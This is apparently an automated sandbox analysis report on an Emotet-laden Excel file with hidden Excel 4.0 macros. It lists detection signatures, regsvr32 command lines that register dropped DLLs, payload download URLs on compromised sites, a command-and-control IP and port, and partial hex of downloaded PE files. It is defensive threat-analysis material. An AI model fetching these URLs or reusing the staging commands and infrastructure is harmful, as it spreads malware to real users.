Edit tour

Windows Analysis Report
Datei_26744565.xls

Overview

General Information

Sample Name:	Datei_26744565.xls
Analysis ID:	632101
MD5:	a8777e5596125dadbb7563052324e1bb
SHA1:	bbd66379044f8d49541a7ae6d793b44a0aea3b49
SHA256:	cbd5b0454385324baee6fc97124c8656ea55f4272f7365e2fbcf570470cba4e6
Tags:	xls
Infos:

Detection

Hidden Macro 4.0, Emotet

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Document exploit detected (drops PE files)

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Yara detected Emotet

System process connects to network (likely due to code injection or exploit)

Document exploit detected (creates forbidden files)

Antivirus detection for URL or domain

Found malicious Excel 4.0 Macro

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Office process drops PE file

Found Excel 4.0 Macro with suspicious formulas

Machine Learning detection for dropped file

Drops PE files to the user root directory

Hides that the sample has been downloaded from the Internet (zone.identifier)

Document exploit detected (process start blacklist hit)

Document exploit detected (UrlDownloadToFile)

Queries the volume information (name, serial number etc) of a device

Contains functionality to check if a debugger is running (IsDebuggerPresent)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Creates files inside the system directory

Internet Provider seen in connection with other malware

Detected potential crypto function

Found potential string decryption / allocating functions

Found evasive API chain (may stop execution after checking a module file name)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to dynamically determine API calls

Found dropped PE file which has not been started or loaded

Potential document exploit detected (performs DNS queries)

IP address seen in connection with other malware

Downloads executable code via HTTP

Found a hidden Excel 4.0 Macro sheet

Potential document exploit detected (unknown TCP traffic)

PE file contains an invalid checksum

Drops PE files

Uses a known web browser user agent for HTTP communication

Drops PE files to the windows directory (C:\Windows)

Detected TCP or UDP traffic on non-standard ports

Registers a DLL

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Drops PE files to the user directory

Dropped file seen in connection with other malware

Found large amount of non-executed APIs

Potential document exploit detected (performs HTTP gets)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 2816 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

regsvr32.exe (PID: 2180 cmdline: C:\Windows\System32\regsvr32.exe /S ..\uxevr1.ocx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2420 cmdline: C:\Windows\system32\regsvr32.exe "C:\Windows\system32\RrQZitdNyvCFEhe\pDnxsvRJXW.dll" MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2408 cmdline: C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 3020 cmdline: C:\Windows\system32\regsvr32.exe "C:\Windows\system32\MreGm\Zazriwdkuo.dll" MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2412 cmdline: C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2944 cmdline: C:\Windows\system32\regsvr32.exe "C:\Windows\system32\AnDDvm\lwQjfM.dll" MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 1740 cmdline: C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2680 cmdline: C:\Windows\system32\regsvr32.exe "C:\Windows\system32\IvkabqgmpEJ\fEKh.dll" MD5: 59BCE9F07985F8A4204F4D6554CFF708)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000003.00000002.917379514.0000000001FE0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000009.00000002.947582927.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000008.00000002.1214454935.00000000001C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000007.00000002.932534809.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000006.00000002.1215133055.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000A.00000002.1215258266.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000007.00000002.932327058.00000000002E0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000005.00000002.925354980.00000000004F0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000A.00000002.1214677851.00000000003C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000009.00000002.946842260.0000000000450000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000008.00000002.1215228939.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000004.00000002.1214643345.00000000003C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000004.00000002.1215293806.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000006.00000002.1214621068.00000000003C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000005.00000002.925541937.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
Click to see the 11 entries

Unpacked PEs

Source	Rule	Description	Author
6.2.regsvr32.exe.3c0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
6.2.regsvr32.exe.3c0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.regsvr32.exe.3c0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
3.2.regsvr32.exe.1fe0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
7.2.regsvr32.exe.2e0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
9.2.regsvr32.exe.450000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
5.2.regsvr32.exe.4f0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.regsvr32.exe.3c0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
9.2.regsvr32.exe.450000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
5.2.regsvr32.exe.4f0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
3.2.regsvr32.exe.1fe0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
7.2.regsvr32.exe.2e0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
8.2.regsvr32.exe.1c0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
10.2.regsvr32.exe.3c0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
8.2.regsvr32.exe.1c0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
10.2.regsvr32.exe.3c0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
Click to see the 11 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: Datei_26744565.xls

ReversingLabs: Detection: 39%

Antivirus detection for URL or domain

Source: http://learnviaonline.com/wp-admin/qGb/	Avira URL Cloud: Label: malware
Source: http://milanstaffing.com/images/D4TRnDubF/	Avira URL Cloud: Label: malware
Source: http://kolejleri.com/wp-admin/REvup/	Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: kolejleri.com	Virustotal: Detection: 11%	Perma Link
Source: milanstaffing.com	Virustotal: Detection: 6%	Perma Link
Source: learnviaonline.com	Virustotal: Detection: 8%	Perma Link
Source: stainedglassexpress.com	Virustotal: Detection: 5%	Perma Link
Source: http://learnviaonline.com/wp-admin/qGb/	Virustotal: Detection: 14%	Perma Link
Source: http://milanstaffing.com/images/D4TRnDubF/	Virustotal: Detection: 13%	Perma Link
Source: http://kolejleri.com/wp-admin/REvup/	Virustotal: Detection: 18%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\1Cb5zOjLgWGDemz55C5[1].dll	ReversingLabs: Detection: 58%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\T35PENELLOsp[1].dll	Metadefender: Detection: 28%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\T35PENELLOsp[1].dll	ReversingLabs: Detection: 60%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\4HWP0KQI[1].dll	ReversingLabs: Detection: 58%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\Jf8[1].dll	ReversingLabs: Detection: 58%
Source: C:\Users\user\uxevr1.ocx	ReversingLabs: Detection: 58%
Source: C:\Users\user\uxevr2.ocx	ReversingLabs: Detection: 58%
Source: C:\Users\user\uxevr3.ocx	ReversingLabs: Detection: 58%
Source: C:\Users\user\uxevr4.ocx	Metadefender: Detection: 28%	Perma Link
Source: C:\Users\user\uxevr4.ocx	ReversingLabs: Detection: 60%
Source: C:\Windows\System32\AnDDvm\lwQjfM.dll (copy)	ReversingLabs: Detection: 58%
Source: C:\Windows\System32\IvkabqgmpEJ\fEKh.dll (copy)	Metadefender: Detection: 28%	Perma Link
Source: C:\Windows\System32\IvkabqgmpEJ\fEKh.dll (copy)	ReversingLabs: Detection: 60%
Source: C:\Windows\System32\MreGm\Zazriwdkuo.dll (copy)	ReversingLabs: Detection: 58%
Source: C:\Windows\System32\RrQZitdNyvCFEhe\pDnxsvRJXW.dll (copy)	ReversingLabs: Detection: 58%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\1Cb5zOjLgWGDemz55C5[1].dll	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\T35PENELLOsp[1].dll	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\Jf8[1].dll	Joe Sandbox ML: detected
Source: C:\Users\user\uxevr3.ocx	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\4HWP0KQI[1].dll	Joe Sandbox ML: detected
Source: C:\Users\user\uxevr1.ocx	Joe Sandbox ML: detected
Source: C:\Users\user\uxevr4.ocx	Joe Sandbox ML: detected
Source: C:\Users\user\uxevr2.ocx	Joe Sandbox ML: detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000BEF0 FindFirstFileW,FindNextFileW,FindClose,	4_2_000000018000BEF0
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_000000018000BEF0 FindFirstFileW,FindNextFileW,FindClose,	6_2_000000018000BEF0
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018000BEF0 FindFirstFileW,FindNextFileW,FindClose,	8_2_000000018000BEF0
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_000000018000BEF0 FindFirstFileW,FindNextFileW,FindClose,	10_2_000000018000BEF0

Software Vulnerabilities

Document exploit detected (drops PE files)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: Jf8[1].dll.0.dr

Jump to dropped file

Document exploit detected (creates forbidden files)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\Jf8[1].dll	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\4HWP0KQI[1].dll	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\1Cb5zOjLgWGDemz55C5[1].dll	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\T35PENELLOsp[1].dll	Jump to behavior

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\regsvr32.exe

Document exploit detected (UrlDownloadToFile)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA

Jump to behavior

Source: global traffic

DNS query: name: learnviaonline.com

Source: global traffic

TCP traffic: 192.168.2.22:49171 -> 103.171.181.223:80

Source: global traffic

TCP traffic: 192.168.2.22:49171 -> 103.171.181.223:80

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\regsvr32.exe

Network Connect: 165.22.73.229 8080

Jump to behavior

Source: Joe Sandbox View

ASN Name: MYLOC-ASIPBackboneofmyLocmanagedITAGDE MYLOC-ASIPBackboneofmyLocmanagedITAGDE

Source: Joe Sandbox View

IP Address: 103.171.181.223 103.171.181.223

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 23 May 2022 07:50:02 GMTServer: ApacheCache-Control: no-cache, must-revalidatePragma: no-cacheExpires: Mon, 23 May 2022 07:50:03 GMTContent-Disposition: attachment; filename="Jf8.dll"Content-Transfer-Encoding: binarySet-Cookie: 628b3cab47229=1653292203; expires=Mon, 23-May-2022 07:51:03 GMT; Max-Age=60; path=/Last-Modified: Mon, 23 May 2022 07:50:03 GMTContent-Length: 371200Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 99 b3 07 38 dd d2 69 6b dd d2 69 6b dd d2 69 6b b2 a4 c3 6b 83 d2 69 6b b2 a4 f7 6b d7 d2 69 6b d4 aa fa 6b da d2 69 6b dd d2 68 6b 84 d2 69 6b b2 a4 c2 6b f6 d2 69 6b b2 a4 f2 6b dc d2 69 6b b2 a4 f3 6b dc d2 69 6b b2 a4 f4 6b dc d2 69 6b 52 69 63 68 dd d2 69 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 f5 7b 87 62 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0a 00 00 04 02 00 00 a2 03 00 00 00 00 00 80 35 00 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 00 06 00 00 04 00 00 c7 1d 06 00 02 00 40 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 b0 aa 02 00 84 00 00 00 e4 a1 02 00 50 00 00 00 00 00 03 00 fc e9 02 00 00 f0 02 00 cc 0f 00 00 00 00 00 00 00 00 00 00 00 f0 05 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 02 00 98 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 fa 03 02 00 00 10 00 00 00 04 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 34 8b 00 00 00 20 02 00 00 8c 00 00 00 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 37 00 00 00 b0 02 00 00 14 00 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 cc 0f 00 00 00 f0 02 00 00 10 00 00 00 a8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 fc e9 02 00 00 00 03 00 00 ea 02 00 00 b8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 fc 06 00 00 00 f0 05 00 00 08 00 00 00 a2 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 23 May 2022 07:50:10 GMTServer: ApacheX-Powered-By: PHP/7.3.33Cache-Control: no-cache, must-revalidatePragma: no-cacheExpires: Mon, 23 May 2022 07:50:10 GMTContent-Disposition: attachment; filename="1Cb5zOjLgWGDemz55C5.dll"Content-Transfer-Encoding: binarySet-Cookie: 628b3cb29fefc=1653292210; expires=Mon, 23-May-2022 07:51:10 GMT; Max-Age=60; path=/Last-Modified: Mon, 23 May 2022 07:50:10 GMTContent-Length: 371200X-Content-Type-Options: nosniffVary: User-AgentKeep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 99 b3 07 38 dd d2 69 6b dd d2 69 6b dd d2 69 6b b2 a4 c3 6b 83 d2 69 6b b2 a4 f7 6b d7 d2 69 6b d4 aa fa 6b da d2 69 6b dd d2 68 6b 84 d2 69 6b b2 a4 c2 6b f6 d2 69 6b b2 a4 f2 6b dc d2 69 6b b2 a4 f3 6b dc d2 69 6b b2 a4 f4 6b dc d2 69 6b 52 69 63 68 dd d2 69 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 f5 7b 87 62 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0a 00 00 04 02 00 00 a2 03 00 00 00 00 00 80 35 00 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 00 06 00 00 04 00 00 c7 1d 06 00 02 00 40 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 b0 aa 02 00 84 00 00 00 e4 a1 02 00 50 00 00 00 00 00 03 00 fc e9 02 00 00 f0 02 00 cc 0f 00 00 00 00 00 00 00 00 00 00 00 f0 05 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 02 00 98 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 fa 03 02 00 00 10 00 00 00 04 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 34 8b 00 00 00 20 02 00 00 8c 00 00 00 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 37 00 00 00 b0 02 00 00 14 00 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 cc 0f 00 00 00 f0 02 00 00 10 00 00 00 a8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 fc e9 02 00 00 00 03 00 00 ea 02 00 00 b8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 fc 06 00 00 00 f0 05 00 00 08 00 00 00 a2 05 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8ikikikkikkikkikhkikkikkikk
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKConnection: Keep-AliveKeep-Alive: timeout=5, max=100x-powered-by: PHP/7.0.33set-cookie: 628b3cb8b9778=1653292216; expires=Mon, 23-May-2022 07:51:16 GMT; Max-Age=60; path=/cache-control: no-cache, must-revalidatepragma: no-cachelast-modified: Mon, 23 May 2022 07:50:16 GMTexpires: Mon, 23 May 2022 07:50:16 GMTcontent-type: application/x-msdownloadcontent-disposition: attachment; filename="T35PENELLOsp.dll"content-transfer-encoding: binarycontent-length: 371200date: Mon, 23 May 2022 07:50:16 GMTserver: LiteSpeedvary: User-AgentData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 99 b3 07 38 dd d2 69 6b dd d2 69 6b dd d2 69 6b b2 a4 c3 6b 83 d2 69 6b b2 a4 f7 6b d7 d2 69 6b d4 aa fa 6b da d2 69 6b dd d2 68 6b 84 d2 69 6b b2 a4 c2 6b f6 d2 69 6b b2 a4 f2 6b dc d2 69 6b b2 a4 f3 6b dc d2 69 6b b2 a4 f4 6b dc d2 69 6b 52 69 63 68 dd d2 69 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 f5 7b 87 62 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0a 00 00 04 02 00 00 a2 03 00 00 00 00 00 80 35 00 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 00 06 00 00 04 00 00 c7 1d 06 00 02 00 40 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 b0 aa 02 00 84 00 00 00 e4 a1 02 00 50 00 00 00 00 00 03 00 fc e9 02 00 00 f0 02 00 cc 0f 00 00 00 00 00 00 00 00 00 00 00 f0 05 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 02 00 98 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 fa 03 02 00 00 10 00 00 00 04 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 34 8b 00 00 00 20 02 00 00 8c 00 00 00 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 37 00 00 00 b0 02 00 00 14 00 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 cc 0f 00 00 00 f0 02 00 00 10 00 00 00 a8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 fc e9 02 00 00 00 03 00 00 ea 02 00 00 b8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 fc 06 00 00 00 f0 05 00 00 08 00 00 00 a2 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$

Source: global traffic	HTTP traffic detected: GET /wp-admin/qGb/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: learnviaonline.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-admin/REvup/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: kolejleri.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /classes/05SkiiW9y4DDGvb6/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: stainedglassexpress.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /images/D4TRnDubF/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: milanstaffing.comConnection: Keep-Alive

Source: global traffic

TCP traffic: 192.168.2.22:49175 -> 165.22.73.229:8080

Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
